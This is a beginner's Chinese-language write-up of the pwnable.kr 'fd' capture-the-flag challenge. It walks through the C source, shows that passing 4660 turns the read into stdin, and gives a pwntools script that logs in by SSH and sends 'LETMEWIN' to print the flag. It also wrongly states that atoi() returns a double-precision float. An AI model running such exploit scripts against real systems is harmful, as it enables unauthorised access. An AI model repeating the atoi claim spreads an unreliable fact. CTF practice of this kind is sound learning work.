1. 程式人生 > >fd

fd

 

人生第一次pwn

一、前言:

最近在瘋狂找pwn入門基礎。群上的師兄說,最好的入門就是找幾道ctf的題目復現別人的wp,所以開始接觸pwnable.kr(這是我在i春秋幻泉師傅的CTF入門視訊中找到的一個pwn平臺),

希望通過這個平臺的題目,可以讓我對pwn,有所瞭解。(路過的大佬請忽視小菜)

 

 

ssh連線進去即可

 

PS:flag檔案無許可權讀取。

 

 二、分析原始碼:

 

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3
#include <string.h> 4 char buf[32]; 5 int main(int argc, char* argv[], char* envp[]){ 6 if(argc<2){ 7 printf("pass argv[1] a number\n"); 8 return 0; 9 } 10 int fd = atoi( argv[1] ) - 0x1234; 11 int len = 0; 12 len = read(fd, buf, 32); 13 if(!strcmp("
LETMEWIN\n", buf)){ 14 printf("good job :)\n"); 15 system("/bin/cat flag"); 16 exit(0); 17 } 18 printf("learn about Linux file IO\n"); 19 return 0; 20 21 }

 

1、

(1)、編譯預處理命令:

#include <stdio.h>   #include <stdlib.h>  和#include <string.h> 是程式在編譯之前要處理的內容,稱為編譯預處理命令。

其都以#開頭,並且不用分號結尾。

標頭檔案是拓展名為.h的檔案,包含了C函式宣告和巨集定義,被多個原始檔中引用共享。

(2)、標頭檔案:

stdio.h是標頭檔案,標準輸入輸出函式庫。

stdlib.h 標頭檔案,即standard library標準庫標頭檔案,stdlib裡面包含了C語言最常用的系統函式,包含了C語言標準庫函式的定義。

string.h標頭檔案,包含了字串處理函式。

2、char buf[32];

臨時申請了一個32位元組大小的名為buf的陣列。

 

3、int argc,char* argv[],char* envp[]

(1)int argc:獲取引數個數

在命令列輸入情況下,命令列總的引數個數。

C:\>test.exe 1 2 3

 

可執行檔名+引數1,引數2,引數3,argc的值一共為4。

 

(2)char* argv[]:獲取引數

獲取所輸入的引數。argv[0]是檔名、argv[1] = 1即第一個引數,以此類推。

 

(3)char* envp[]:獲取系統環境變數

獲取系統環境變數

 

4、程式主體

(1)如果程式沒有輸入數字,則提示輸入數字。


(2)
atoi()函式的作用是將字串轉為雙精度浮點型值
fd = 輸入的第一個數字的雙精度浮點型值-0x1234 (0x1234=4660)


(3)read(fd,buf,count)
fd:檔案描述符,用來指向要操作的檔案的檔案結構體。

但:fd == 0 為標準輸入,fd == 1 為標準輸出,fd == 2為標準錯誤輸出。
buf:一塊記憶體空間
count:希望讀取的位元組數
read(fd,buf,32):從fd檔案中讀取32個位元組傳到buf中


(4)
strcmp(str1,str2):比較兩個字串,<0即str1<str2。其他類推。
system(command):執行系統命令
exit(0):退出

 

 

 三、利用程式碼:

 

1、利用思路:

目標:system("/bin/cat flag")
需要:strcmp("LETMEWIN\n",buf) = 0
則:buf = "LETMEWIN\n"
所以:read(fd,buf,32)中,fd ==0
需要:argv[1] == 0x1234即4660
總結:執行該程式,首先輸入4660改變read()函式為輸入狀態,然後輸入滿足達到目標條件的"LETMEWIN\n"。

 

3、利用程式碼:

1)、pwntoolsg官方文件

2)

1 from pwn import *
2 ssh_fd = ssh(host ='pwnable.kr',user='fd',password='guest',port=2222)
3 print(ssh_fd.connected())
4 exe = ssh_fd.process(argv=['fd','4660'],executable='./fd')
5 exe.sendline('LETMEWIN')
6 print(exe.recvall())

 

 

3)解釋:

ssh(host,user,password,port):ssh連線。

connected():連線成功已否的檢視

process(argv,executable):argv,程序的引數。executable,執行檔案的路徑。

附:remote('url',port):遠端開啟指定url的埠。

sendlie():傳送一行資料,在後面加上了\n。

附:send(data):傳送資料。

recvall() :接收EOF

附:recvrepeat(timeout=default):接收EOF或timeout

 

四、整體總結:有待提高

1、C語言

2、python的pwn庫

3、常見的pwn技巧

 

五、參考連結:

https://www.cnblogs.com/spd2016/p/5487683.html

https://blog.csdn.net/u010334666/article/details/81192987